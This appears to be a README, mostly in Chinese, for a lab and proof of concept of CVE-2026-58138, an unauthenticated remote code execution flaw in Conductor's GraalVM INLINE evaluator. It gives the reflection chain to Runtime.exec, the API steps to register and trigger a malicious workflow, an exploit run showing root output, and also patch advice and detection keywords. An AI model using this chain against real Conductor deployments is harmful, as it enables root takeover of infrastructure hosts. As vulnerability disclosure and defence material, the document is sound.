
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root).
TL;DR: Orkes/OSS Conductor(版本
3.21.21至< 3.30.2)在INLINE任务中使用 GraalVM 上下文评估用户提供的 JavaScript,该上下文具有完全主机访问权限(HostAccess.ALL)。由于社区 API默认无认证,任何未经身份验证的用户都可以提交恶意工作流,从绑定的 JavaScript 对象跳转到java.lang.Runtime,并以 Conductor 进程用户(通常为root)身份实现未授权远程代码执行 (RCE)。
版本说明: 直至
~3.29.x的版本使用简单的allowHostAccess(HostAccess.ALL)配置,本 PoC 直接利用该配置。版本3.30.0和3.30.1引入了部分黑名单(阻止部分反射),但完整的修复(allowHostClassLoading(false)加上引擎加固)仅在3.30.2中实施。本 PoC 针对无沙箱配置。
该漏洞存在于 Conductor 配置 GraalVM 多语言上下文以执行脚本评估的方式中。
在 core/.../events/ScriptEvaluator.java(≤ 3.29.x)中,上下文按如下方式构建:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // 危险:完全主机互操作,无沙箱
.build();
为什么这是致命的:
HostAccess.ALL 授予 JavaScript 引擎调用 Java 主机对象上任何方法或访问任何字段的权限。INLINE 任务将其输入参数绑定到 JavaScript 变量 $,该变量是一个真实 Java 对象。$ 开始链式调用 Java 反射:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>")。Context.newBuilder("python").allowAllAccess(true))也存在同样的缺陷。该攻击无需任何认证,仅需三个简单步骤:
/api/metadata/workflow 发送 POST 请求,携带恶意工作流定义。INLINE 任务的 expression 字段包含反射式 JavaScript 负载。/api/workflow/{workflow_name} 发送 POST 请求以触发工作流。Runtime.exec 运行操作系统命令,PoC 巧妙捕获 stdout 并将其作为任务的 result 输出返回,随后通过 API 获取。使用 Docker 启动本地脆弱版本 Conductor 实例。
# 克隆仓库并启动实验环境
docker compose -f docker/docker-lab.yml up -d
# 等待约 60 秒,等待一体化服务器完全启动
运行提供的 Python 利用脚本。它仅依赖 Python 标准库(无需外部依赖)。
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] 目标: http://127.0.0.1:8080
[*] 命令: 'id; hostname; whoami'
[*] 注册包含恶意 INLINE(javascript)任务的工作流……(无需认证)
[*] 启动工作流执行……(无需认证)
[*] 已启动工作流 id=pwn_1705432100;正在读取 INLINE 任务输出……
[+] 未授权 RCE 已确认 —— 来自 Conductor 主机的命令输出:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
注意:uid=0(root) 输出证明了在主机上的真实执行,而非模拟响应。
成功利用可使攻击者在 Conductor 编排主机上获得任意操作系统命令执行能力。
由于 Conductor 通常以提升的权限部署以管理基础设施,这通常会导致:
≥ 3.30.2。在此版本中,JS 和 Python 评估器不再启用主机访问或类加载。监控您的环境中以下入侵指标 (IoC):
INLINE、LAMBDA、DO_WHILE 或 SWITCH 任务,其 expression 字符串引用:
getClass、forName、Runtime、exec、ProcessBuilderjava.lang.reflect 或通用 java. 包访问sh、bash、cmd.exe)或发起出站网络连接。有关反射链、版本特定的评估器配置以及补丁分析的深入探讨,请参阅 ANALYSIS.md。
免责声明: 本仓库包含一个独立的、可复现的实验环境及概念验证 (PoC),仅用于防御、教育和授权安全测试目的。请勿将本代码用于非您所有或未经明确书面许可的系统。作者不对滥用行为承担任何责任。
| 属性 | 详情 |
|---|
| CVE 标识符 | CVE-2026-58138 |
| 受影响软件 | Conductor 3.21.21 至 3.30.1 |
| 修复版本 | 3.30.2(提交:87a7d96、c691e35) |
| 漏洞类型 | CWE-94:代码注入(GraalVM 多语言沙箱绕过) |
| CVSS v3.1 评分 | 9.8(严重) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证要求 | 无(社区 API 默认未认证) |
| 验证情况 | 已在 conductoross/conductor:3.22.3 上以 root 确认 |